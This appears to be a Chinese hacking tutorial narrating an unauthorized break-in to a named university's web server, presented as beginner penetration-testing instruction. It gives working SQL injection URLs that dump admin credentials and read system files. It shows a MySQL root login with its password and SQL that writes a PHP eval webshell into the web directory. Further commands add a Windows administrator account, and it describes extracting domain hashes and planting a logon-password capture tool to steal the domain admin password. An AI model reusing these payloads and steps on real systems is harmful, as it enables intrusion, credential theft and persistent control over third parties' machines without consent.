作者:Msnh4ck(晓华)  版权所有:岁月联盟 www.syue.com

     脚本渗透只是渗透测试中的其中一环,按技术难度划分来说也是最初级的,当然这类渗透任务交由具有一定攻击经验的Web黑客即可轻松完成,对于一些难度较高的目标,则需要渗透者必须拥有exploit的积累。一个安全测试团队,当然也会形成非常专业的文档,流程,以及强大的工具。团队内部也必须有专职的渗透技术研究人员或者组织,建立渗透攻防实验室,推演最新渗透攻防技术,最终将知识在内部进行共享以及转化。

当然以上都是一些专业的安全渗透团队能够做到的,对于普通的黑客迷来说,是很难进入这类团队的,毕竟不是人人都能参与安全服务行业,多数人都是业余爱好而已,业余人员学习的最大意义在于学习最新攻防技术来武装自己不被攻击。技术学习都是从低到高而进行的,下面以实例的形式来讲解如何进行脚本渗透。本次渗透主要涉及如下知识:
 主机端口扫描
 Web/MYSQL攻击
 WindowS主机提权
 域环境的渗透
下面将严格按照以上步骤实施本次渗透任务,同时向新手朋友体现普通渗透攻击的基本步骤以及一些经典渗透测试工具的应用。本次渗透攻击的目标是国内某著名大学,看域名应该知道是谁。其地址如下:
www.mse.tsinghua.edu.cn

主机端口扫描
     很多黑客技术迷对于端口扫描很不在乎,原因是从主机直接下手的机会相对比较渺茫,但是这样的想法是不够严谨的,笔者不是在否定它的正确性。作为一次安全渗透,主机端口扫描是非常重要的,同时也是必须做的,端口扫描的内容也会详细写入文档,提供给客户。对于渗透人员来说不仅全面了解目标服务器的安全状况,更重要的是得到了一些基础情报,这些情报会决定你的整个入侵走向。对于端口扫描工具的选用,可以应用NmaP这类王牌扫描器。其实NMAP的功能非常强大的,不仅体现在端口扫描上,新版本中增加了一些功能强悍的插件,这类插件对于渗透攻击是非常有帮助的,具体可以自己查看。目前NMAP的最新版本是5.0,读者朋友可以自行下载安装。下面应用扫描器对目标系统进行扫描测试,可以执行如下命令:
Nmap -v -A www.mse.tsinghua.edu.cn

通过扫描器返回的数据,得到如下一些重要信息。如图1所示

黑客脚本渗透普及_脚本_02

以上只是一些基本的端口开放情况,通过扫描我们还可以得到目标服务器运行的详细软件版本。如图2所示

黑客脚本渗透普及_脚本_04

从以上扫描的结果来看,这台服务器并不安全,因为有过多的敏感端口暴露在外部,这样是极易受到攻击的。现在需要将扫描结果进行整理,整理范围是敏感端口。笔者整理的结果如下:
21/tcp     ftp            Serv-U ftpd 6.4
53/tcp     domain        Microsoft DNS
80/tcp     http           Apache httpd 2.0.53
3306/tcp   mysql          MySQL 4.1.9-nt
3389/tcp   microsoft-rdp  Microsoft Terminal Service
8080/tcp   Apache Tomcat/Coyote JSP engine 1.0
Running:   Microsoft Windows 2003
以上各个端口如何进行攻击,相信大家都很精通,毕竟大家都是首先学习系统漏洞入侵的。另外笔者给新手朋友推荐一款非常不错的漏洞扫描器,那就是大名鼎鼎的Nessus,最新版本为3.X。笔者使用Nessus对以上端口的漏洞扫描,均没有任何进展,下边就不得不考虑使用脚本渗透技术了。现在我们首先要弄明白如何进行下面的脚本攻击,通过扫描知道目标服务器应用的是Apache httpd 2.0.53以及Apache Tomcat/Coyote JSP engine 1.0,数据库是MySQL 4.1.9-nt。这样可以推测目标服务器所使用的程序应该是php以及JSP二种类型,对于这类程序最好的攻击就是注入漏洞,另外MYSQL对渗透也有帮助,在后边你将看到他的用武之地。

   Web/MYSQL攻击
从系统漏洞攻击失利后,必须转战作战目标。通常WEB系统是最脆弱的一环,在进行Web攻击之前需要简单搜集一些信息。比如服务器做绑定的域名数量,以及应用的何种Web程序以及数据库系统,如果要进行社工渗透的话,还需要收集管理员的基本信息,比如联系的QQ,EMAIL,手机等。下面对服务器域名绑定情况作一下简单判断。如图3所示

黑客脚本渗透普及_内网安全_06

该服务器运行着多个网站,这样有利于主站渗透失利后的旁注攻击。通过浏览器打开主站,主站应用的是PHP程序,后台数据库已经通过扫描得到了。如图4所示

黑客脚本渗透普及_休闲_08

现在我们可以对这个主站展开攻势了,首先是测试常规脚本漏洞,如何查找注入漏洞,这里就不废话了,大家都是专家水平了。这里给新手普及一款脚本漏洞扫描利器—【jsky】 这款工具是ZWELL写的,效果还是非常不错的。直接运行【jsky】主程序,点击【FILE】菜单,选择【NEW SCAN】选项。出现如下对话框,如图5所示

黑客脚本渗透普及_脚本_10

在上面的【URL】中输入要检测的目标站点地址,如图6所示

黑客脚本渗透普及_内网安全_12

点击【NeXT】进入下一步的设置,这里可以根据自己需要进行设置,笔者这里保持默认即可。如图7所示

黑客脚本渗透普及_休闲_14

继续选择【NEXT】 最后点击【Finish】完成设置 如图8所示

黑客脚本渗透普及_内网安全_16

执行【SCAN】进行漏洞扫描,很快就发现了多处注入漏洞。如图9所示

黑客脚本渗透普及_内网安全_18

笔者从中挑选了一个注入点进行诸如测试,其页面如下:
http://www.mse.tsinghua.edu.cn:80/mse/news/detail.php?ID=172
首先进行字段判断,具体判断过程就不说了。笔者得到当前具有5个字段。如图10所示

黑客脚本渗透普及_休闲_20

执行如下语句得到可被用来显示数据的字段,语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172  union select 1,2,3,4,5
如图11所示

黑客脚本渗透普及_脚本_22

通过上图得知,已经获得多个可被显示的字段。现在来看一下数据库的详细信息,主要是判断当前连接的账户。执行如下语句:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172  union select 1,user(),3,4,5/*
结果出现下列错误信息,应该是字符集设置的问题,如图12所示

黑客脚本渗透普及_休闲_24

Version()内置函数也无法显示,对于连接用户权限的判断十分重要,若是ROOT用户,则可以直接读取文件了。下面我们来尝试读取c:\boot.ini文件。执行如下语句:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172  union select 1,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),3,4,5/*
结果发现能够读取,那么可以判断当前连接用户是ROOT权限了。如图13所示

黑客脚本渗透普及_脚本_26

现在来确定下接下来的渗透思路:
●读取APACHE配置文件,可得网站绝对路径
●读取APACHE_TOMCAT配置文件,得JSP站点绝对路径以及管理密码
●将一句话木马导出到JSP站目录下
●读取JSP或者PHP站点数据库连接文件,得ROOT密码。
●读取SERV_U得到网站路径,以及加密的账户。
●注入后台数据库,得到管理密码进后台。
通过测试发现这些软件都不是默认安装的,无法进行读取,管理应该是存放在一个特定的目录中,这样很难猜解。在正面战场(主站)也没有通过提交单引号来得到路径,总之测试了爆路径的所有方法都无功而返。这样我们只能猜解后台管理表和字段来爆后台密码了,由于数据库版本是MYSQL 4.1.9-nt,这样注入受到很大的限制,如果字段不是常见的,是很难进行猜解的。下面就开始猜解后台管理表,猜解过程大家都会,成功的几率就看平时的猜解经验以及字典丰富程度了。笔者发现login表是后台的管理表,猜解语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=172 union select 1,2,3,4,5 from login/*
表有了,还需要字段。通过猜解发现字段是常规的username以及password,猜解语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=172  union select 1,concat(username,0x3a,password),3,4,5 from login/*
下面爆出后台管理密码,语句如下:
http://www.mse.tsinghua.edu.cn/mse/news/detail.php?ID=-172 union select 1,concat(username,0x3a,password),3,4,5 from login/*
如图14所示

黑客脚本渗透普及_内网安全_28

密码有了,后台也是常规的页面,很容易查找。如图15所示

黑客脚本渗透普及_休闲_30

利用得到的密码顺利登陆,这里就要进入夺取Webshell的环节了。后台是非常的简单,马上找到图片上传的页面上传PHP木马。如图16所示

黑客脚本渗透普及_休闲_32

提交后发现无法进行上传,通过给PHP木马头部添加gif89a页无济于事,经过多种方式进行突破都无法上传。最后上传了一个真实的图片文件,结果还是没有上传成功,通过返回的错误信息我们得到了网站的绝对路径。如图17所示

黑客脚本渗透普及_休闲_34

连正常的图片文件都无法上传,那么PHP脚本也肯定不能了,后台夺取Webshell的路也走到尽头了。现在有了路径,可以尝试读取网站数据库连接文件。为了方便,笔者直接使用工具了。成功得到ROOT密码,如图18所示

黑客脚本渗透普及_休闲_36

现在我们登录远程MYSQL数据库准备写入一句话木马,执行如下命令进行连接:
mysql -h166.111.38.19 -uroot -ppassFORroot
成功登陆,如图19所示

黑客脚本渗透普及_内网安全_38

下面开始导出一句话木马到Web目录下,执行如下SQL语句。
use mysql;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'E:/webpage/mse/mse/news/xh.php';
Drop TABLE IF EXISTS a;
以上语句执行的很顺利,如图20所示

黑客脚本渗透普及_内网安全_40

一句话木马是导出成功的,其完整地址如下:
http://www.mse.tsinghua.edu.cn/mse/news/xh.php
使用一句话木马客户端进行连接,如图21所示

黑客脚本渗透普及_休闲_42

通过一句话木马,笔者上传了一个大马以方便操作,下面部分就是提权操作了。

 WindowS主机提权
由于当前使用的是APACHE服务器,默认是以系统权限启动的,这里我们可以执行任意系统命令。首先查看当前权限,可以使用whoami命令。如图22所示

黑客脚本渗透普及_内网安全_44

看来管理员并没有对APACHE进行降权,下面直接使用NET命令添加账户。如图23所示

黑客脚本渗透普及_休闲_46

发现并没有添加成功,根据平时经验来看,估计是服务器做了密码安全策略,验证了密码长度。下面使用一个足够复杂的密码,添加命令如下:
Net user msnh4ck 123456qwert!@# /add
Net localgroup administrators msnh4ck /add
执行以上命令,通过返回的结果来看是成功的。如图24

黑客脚本渗透普及_休闲_48

利用添加的用户,成功登陆远程桌面。如图25

黑客脚本渗透普及_休闲_50

域环境的渗透
登陆的时候发现当前这台主机是域服务器,关于域环境的入侵,《黑客手册》有多篇文章可供参考了,不熟悉的朋友可以回头复习下。笔者通过大马上传了一个hash提取工具gethashes.exe,提取了其他账户的hash值。如图26所示

黑客脚本渗透普及_脚本_52

笔者没有下载120G的彩虹表,于是就用前段时间下的7G表进行破解。破解效果很不如意,只破解出了guest账户的密码。如图27所示

黑客脚本渗透普及_脚本_54

通过这个账户登录进去,在其目录下还发现了一些黑客工具。看来已经有人捷足先登了。由于当前主机就是域服务器,笔者就给服务器安装了一个终端密码截获工具【winlogohack】,这里主要有二个考虑,第一是记录域管理员的密码,第二是非常邪恶的,如果前边这个黑客在这个内网中有收获,笔者可以坐收渔翁之利。几天之后笔者顺利截获到了域管理员的密码,如图28所示

黑客脚本渗透普及_脚本_56
下载 (49.06 KB)
2009-10-24 03:39


有了域管理员的密码就可以在这个域中任意摆布了。

总结:本节内容详细讲解了一次典型的渗透攻击任务,希望这篇文章能够帮助到新手朋友。对于本文有任何的疑问以及意见,请在《岁月联盟》找我交换意见,谢谢